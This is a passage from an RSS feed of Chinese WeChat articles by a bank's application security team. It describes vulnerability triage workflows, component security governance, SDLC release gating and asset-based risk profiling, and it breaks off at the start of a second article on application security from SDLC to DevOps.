14px;">1、规则刚上线的时候，因误报较多，此时扫描到的漏洞会先存放在单独的扫描漏洞模块，负责规则的安全运营者以人工方式初步判断漏洞是否存在，并将漏洞提到漏洞审核模块（其中一部分系统无法自动对应资产的漏洞，由人工对资产进行定位），再由各业务线的安全工程师对漏洞审核模块的漏洞进行审核和处理（可进行上报/合并上报/忽略/关联历史漏洞等），最终提到漏洞管理模块，传递给开发进行确认与修复，进入既定的漏洞处理流程中。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">2、规则稳定运行一段时间后，会自动将扫描到的漏洞推送到漏洞审核中，直接由各业务线的安全工程师进行审核处理，然后提至漏洞管理模块。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">3、当扫描漏洞的准确率达到一定水准后，会将漏洞审核中的漏洞，由系统自动提交至漏洞管理，即直接将漏洞传递给开发进行确认与修复，无需让安全工程师先进行审核。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.55390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5dd82a3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMj30Z4lXCIUiaArRghdUibllHhebAwgKMD8GdkwaJeQD4YgHRgiaLlQFXOA%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">这样经过三个阶段，我们可以保证漏洞管理模块漏洞数据的质量，尽量真实且权威。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">针对上述思路，每一种工具的每个插件，它的开关、扫描出的漏洞等级、去重规则、是否自动推送至漏洞审核、是否自动推送至开发等，在前端页面实现<span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">配置化管理</span>，如此一来，运营人员可结合实际数据情况进行相应操作（例如某种检测插件准确率达到一定高度则开启自动推送，如在某段时间准确率又突然下降，则暂时关闭自动推送），在对扫描结果的处理上便更加灵活。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"></span></section><section data-role="paragraph" data-color="#1e9be8"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="margin-top: 20px;margin-right: auto;margin-left: auto;list-style: none;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;display: inline-block;vertical-align: middle;max-width: 100%;"><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.2;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(30, 155, 232);"><span style="margin-top: 2px;margin-bottom: 2px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.6;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 1;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span></span></section><section style="padding-left: 10px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: inline-block;vertical-align: middle;font-weight: 700;color: rgb(30, 155, 232);max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><span style="font-size: 15px;">组件安全的治理</span></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">除了一些web漏洞之外，通用组件一直是容易被外界突破安全防线的一个关口，当前大部分公司都会面临通用组件的安全问题。针对组件漏洞，适用范围广，造成危害大，动辄成千上万的资产收到影响，修复起来并不是件容易的事情。传统case by case方式，通过线下整理数据跟进修复，收效甚微。在组件安全这个方向，如何做好问题修复及管控是第三个问题。</span></section><section style="text-indent: 0px;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">在经过讨论及技术论证，确认方案可落地后，我们根据《<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484493&amp;idx=1&amp;sn=e21614999f4ab21eb91c599a8e38e796&amp;chksm=cf345cacf843d5baa145eb37036b1d81141d10b701cd6d8db3b705266ef93024b7140dc19e95&amp;scene=21#wechat_redirect" data-itemshowtype="0" tab="innerlink" data-linktype="2">通用组件安全治理三步走实践</a>》这篇文章介绍的思路，进行了开源组件模块的研发。</span><span style="font-size: 14px;">组件漏洞处理方式区别与应用漏洞，我们将常见的一些组件漏洞放在这个模块单独跟进处理，无需开发人员在系统上操作任何按钮，只需按照修复方案完成修复后并上平台查看是否还存在受影响资产即可。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e1b14a63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjlG0XfMTFbIG39bicYCF4LdV2s01MbdnjpGKjRSiaTyOvpkAmBl5dTgWQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">当然，除了有针对存量问题的流程及方案，我们也需考虑如何在研发流程中对组件安全问题作出检查，从而控制增量组件安全问题。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">1. 通过在版本发布过程中进行控制，如果应用版本发布过程中仍然存在组件安全问题，将禁止发版强行阻断，确保新增应用无历史组件安全问题；</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">2. 通过在组件仓库设置组件黑名单，如果使用低版本的组件将无法打包成功，强制要求开发升级版本。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section data-role="paragraph" data-color="#1e9be8"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="margin-top: 20px;margin-right: auto;margin-left: auto;list-style: none;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;display: inline-block;vertical-align: middle;max-width: 100%;"><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.2;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(30, 155, 232);"><span style="margin-top: 2px;margin-bottom: 2px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.6;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 1;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span></span></section><section style="padding-left: 10px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: inline-block;vertical-align: middle;font-weight: 700;color: rgb(30, 155, 232);max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><span style="font-size: 15px;">研发过程的安全管理（SDLC运营）</span></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"></span><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">Sop安全运营平台通过对接需求及研发管理平台，在需求拆分到开发任务后的评审环节，将安全要求作为评审内容的一部分，引导开发人员对安全要求进行自行评审/实施安全设计。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">有了安全评审和安全设计的数据，再结合各维度安全检测（包括人工安全测试、应用层漏洞扫描、组件安全检测、源代码安全扫描）的检查结果，我们便可以将研发流程中的安全过程数据汇聚，形成综合统一结论，并在系统层面实现“管控增量问题”。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">在经过对各业务线系统的版本发布流程以及行内研发流程的调研后，我们制定了版本安全管控的方案。将安全检测划分为不同维度（例如划分为应用层安全风险、源代码安全风险、组件安全风险），最终的安全检测结论是几个维度的结论合集。根据既定的规则，在测试完成环节，给予安全检测的结论与报告。如结论是通过并且报告正常进行了存档，才能顺利进行版本移交，进行代码冻结，从而完成版本的发布，否则将进行阻断。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.17" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=ce43fae5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjRaWkyNIxY8rsVPdOUa3Of13Lib3gJdfkURTRw4QdnnBzSBk6SpvbDdQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">如果检测实时性够高，可以将检测结论尽量前置，做到在开发环节就可以随时查看安全检测情况，从而更快速解决安全问题。并且在代码冻结之后，封板之前（也就是发布前的最后一个动作）也再一次进行安全检测结论的校验，多环节把控版本安全质量。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5217853347502657" data-s="300,640" style="" data-type="png" data-w="941" src="https://wechat2rss.xlab.app/img-proxy/?k=daef349c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMj2l1eWYhpVbHsTX5K9Q7JnlGTW7G3zef967t40cnSic8kdmIz78Dtr4g%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"></span></section><section data-role="paragraph" data-color="#1e9be8"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="margin-top: 20px;margin-right: auto;margin-left: auto;list-style: none;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;display: inline-block;vertical-align: middle;max-width: 100%;"><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.2;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(30, 155, 232);"><span style="margin-top: 2px;margin-bottom: 2px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 0.6;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span><span style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;width: 0.6em;height: 0.6em;display: block;opacity: 1;color: rgb(255, 255, 255);background-color: rgb(30, 155, 232);background-image: none;"></span></span></section><section style="padding-left: 10px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: inline-block;vertical-align: middle;font-weight: 700;color: rgb(30, 155, 232);max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><span style="font-size: 15px;">安全资产与安全画像</span></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">当然，以上思路的实现，少不了安全资产数据的支撑。“资产数据是安全工作的基石”，我们只有将资产梳理清晰，才能更好地站在安全风险视角去及时发现问题、溯源问题和解决问题，从而提高安全管理效率。<span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">例如前面提到的组件安全治理，</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">需要掌握</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">全行的组件及版本信息，以及</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">目标（应用）所依赖的全部组件信息，</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">才</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">能做到当</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">某一</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">组件出现安全风险后</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">，实现快速排查和定位</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">受影响资产</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;"></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">。</span></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4609375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dac96e5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjm5mIR9oXib2PkCxIkDls0JgibHCNTzFxApFc5ibNZgGicxMhGrU3W3Izbg%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">通过对接CMS/HIDS等，我们奠定了建设安全资产的基础。在此基础上，针对已有的资产数据，我们只需根据安全制定的策略给各资产打上安全标签，并根据实际情况对资产的安全标签进行动态维护和运营。针对其他现有系统未覆盖到的数据，我们可以通过主动探测和被动扫描的方式，如采集目标网络的流量,对流量中数据进行分析,从而发现未知的网络资产信息。</span><span style="font-size: 14px;">当</span><span style="font-size: 14px;">然这其中还涉及到关于数据采集、数据清洗、数据关联等很多功能模块，这里由于篇幅原因便不再展开。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">在完善好资产的一些安全属性后（如是否面向互联网、登录认证方式等），再结合应用的各类安全风险，便可以刻画应用安全画像。</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="1.0536912751677852" data-s="300,640" style="" data-type="png" data-w="894" src="https://wechat2rss.xlab.app/img-proxy/?k=21baaae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6m4F10lpTM1V4I5mmkreMjQxib3WIblRBOHVpicuq4t1VWcSLgXLLeFwpFtahA8UkWZjQcXh7pWuSg%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">有了每个应用的安全画像，便可建设安全风险模型，定义风险阀值，通过阀值来检查各应用的整体安全情况，制作整体的安全风险看板，展示整体安全风险趋势、风险累积或风险消除等情况。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section data-role="paragraph"><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;display: flex;justify-content: center;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(84, 181, 255);scroll-behavior: smooth;width: 30px;height: 30px;max-width: 100%;"><br style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"/></section><section style="margin-top: 4px;margin-left: -15px;list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;font-size: 16px;color: rgb(0, 145, 255);letter-spacing: 2.56px;z-index: 1;background-color: white;height: 22px;line-height: 22px;overflow: hidden;max-width: 100%;font-family: PingFangSC-Semibold;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;min-width: 16px;max-width: 100%;">03 总结</section></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">通过以上几个模块的介绍和分析，我们可以发现，各模块之间围绕着“要求—检查—管控”这条线有着不可分割的紧密联系。研发安全管理中的安全评审与设计是要求，人工安全测试和各类工具扫描是检查手段，漏洞则是检查结果，通过漏洞的“复盘”“溯源”可以分析出“要求”的执行是否真正落地。漏洞的修复和漏洞积分是管控手段，各维度检查结果汇总并与研发流程结合进行的版本控制，也是管控手段，通过各类管控才能有效控制<span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;">安全风险</span></span>。而安全画像/风险看板则是要求-检查-管控中的过程数据，有了这些数据进而可以帮助安全运营人员更直观了解整体以及每个应用的安全风险和当前状态，准确定位安全防护的重点。</span><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">除了思路上的总结，</span><span style="font-size: 14px;">在建设平台过程中，也有两点经验想要分享：</span></section><ul class="list-paddingleft-2" style="font-family: Optima-Regular, PingFangTC-light;"><li style="font-family: Optima-Regular, PingFangTC-light;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">要对系统的定位非常清晰。时刻站在“做系统的目的是为了什么，做的这些功能到底能否真正帮助实现目的”的角度思考，并且需要有整体架构的规划，才能让系统在不断“壮大”的过程中不至于失了“重心”而坍塌；</span></section></li><li style="font-family: Optima-Regular, PingFangTC-light;"><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">产品的易用性直接决定了运营难度的高低，在充分结合各类现有的安全工具的基础上，一定要考虑尽量贴合企业自身的各类流程（如研发流程等），将安全运营的各个环节有效融入到日常的研发流程中。</span></section></li></ul><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"> </span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">最后，在从SDLC到DevOps的广义应用安全管控体系建设下，安全运营是贯穿整体的能力支撑。如同lakehu在《小步快跑，快速迭代：安全运营的器术法道》说到的“安全是一个动态过程，它随着形势在不断变化，运营就是发现变化趋势调整优化安全策略达到安全目标的重要手段”，</span><span style="font-size: 14px;">安全运营平台的建设则是“帮助运营人员直观发现安全变化趋势，为优化安全策略提供数据决策能力”，</span><span style="font-size: 14px;">是为</span><span style="font-size: 14px;">安全运营</span><span style="font-size: 14px;">工作做好工具支撑，提供更高效、更便捷的运营方式和途径。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><br/></span></section><section data-v-09862f0b="" data-tools="新媒体排版" style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;zoom: 0.7;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;max-width: 100%;font-family: Optima-Regular, PingFangTC-light;"><section style="list-style: none;box-sizing: border-box;border-top: none;border-right: none;border-bottom: 1px solid rgb(84, 181, 255);border-left: none;scroll-behavior: smooth;display: flex;justify-content: center;max-width: 100%;"><section style="padding-right: 16px;padding-left: 16px;list-style: none;box-sizing: border-box;border-top: none;border-right: none;border-bottom: 3px solid rgb(84, 181, 255);border-left: none;scroll-behavior: smooth;font-family: PingFangSC-Regular;font-size: 16px;color: rgb(0, 145, 255);letter-spacing: 1.52px;text-align: center;overflow: hidden;max-width: 100%;"><section style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;min-width: 16px;max-width: 100%;">END<br style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"/></section></section></section></section></section><p style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;"><br style="list-style: none;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;scroll-behavior: smooth;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;;font-size: medium;text-align: start;white-space: normal;"/></p><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">感谢职业欠钱前辈、lakehu前辈对文章引用之处的授权。</span><span style="font-size: 14px;">此文章仅是自己在一段时间内的个人总结，可能有很多不足的地方，诚心欢迎各位给予意见建议或交流探讨。</span><br/></section><p> </p><p style="text-align: center;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="width: 150px;height: 150px;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247484637">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f46f3e5f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484637%26idx%3D1%26sn%3Dcb8c4dc893f5d8749c35861fe51dd274%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 27 Oct 2020 19:16:00 +0800</pubDate>
    </item>
    <item>
      <title>从SDLC到DevOps下的广义应用安全管控体系</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484590&amp;idx=1&amp;sn=1e746a320fa2bfea0ecf124b6125cc90</link>
      <description>在新时期对更频繁、快捷、可靠以及智能的要求下，传统意义上的SDLC模式逐渐成为整个研发流程中的短板，企业安全需转变思维，建设在敏捷模式下的广义应用安全体系。</description>
      <content:encoded><![CDATA[<p>
<span>贾凯</span> <span>2020-09-01 11:37</span> <span style="display: inline-block;"></span>
</p>

<p>在新时期对更频繁、快捷、可靠以及智能的要求下，传统意义上的SDLC模式逐渐成为整个研发流程中的短板，企业安全需转变思维，建设在敏捷模式下的广义应用安全体系。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3def4d11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9W6vU5EEJMwVBT8cybQ9773EAPPeILO0962Mubn6uicxZwgFhe3J9fJg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><p style="font-family: Optima-Regular, PingFangTC-light;"><em data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-style="font-weight: 700; letter-spacing: 0.544px; text-align: start; white-space: pre-line; background-color: rgb(255, 255, 255); color: rgb(74, 74, 74); font-family: Optima-Regular, PingFangTC-light; font-size: 15px; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);letter-spacing: 0.544px;font-weight: 700;text-align: start;white-space: pre-line;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" style="max-width: 100%;font-family: 等线;font-size: 12px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">文/平安银行应用安全团队@贾凯</span></em></p><p style="font-family: Optima-Regular, PingFangTC-light;"><em data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-style="font-weight: 700; letter-spacing: 0.544px; text-align: start; white-space: pre-line; background-color: rgb(255, 255, 255); color: rgb(74, 74, 74); font-family: Optima-Regular, PingFangTC-light; font-size: 15px; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);letter-spacing: 0.544px;font-weight: 700;text-align: start;white-space: pre-line;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" style="max-width: 100%;font-family: 等线;font-size: 12px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></em></p><section data-role="outer" label="Powered by 135editor.com"><section data-role="paragraph" data-width="96%" style="margin-right: auto;margin-left: auto;width: 96%;flex: 0 0 96%;"><section data-tools="135编辑器" data-id="97617"><section style="margin: 10px auto;text-align: left;font-family: Optima-Regular, PingFangTC-light;"><section style="display:inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9iaOyVQ1RAQE5LSLOTylAMxEDHpdgtDBjuVOCuvast0KrS59bg9l5Picw/640?wx_fmt=gif&#34;);background-attachment: initial;background-origin: initial;background-clip: initial;background-repeat: no-repeat;background-size: 4px;background-position: left center;padding-left: 4px;"><section data-brushtype="text" style="background-color: rgb(244, 246, 255);letter-spacing: 1.5px;font-size: 16px;padding: 5px 1em;font-weight: bold;box-sizing: border-box;color:#000;" hm_fix="355:311"><span style="font-size: 15px;">前言</span></section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, 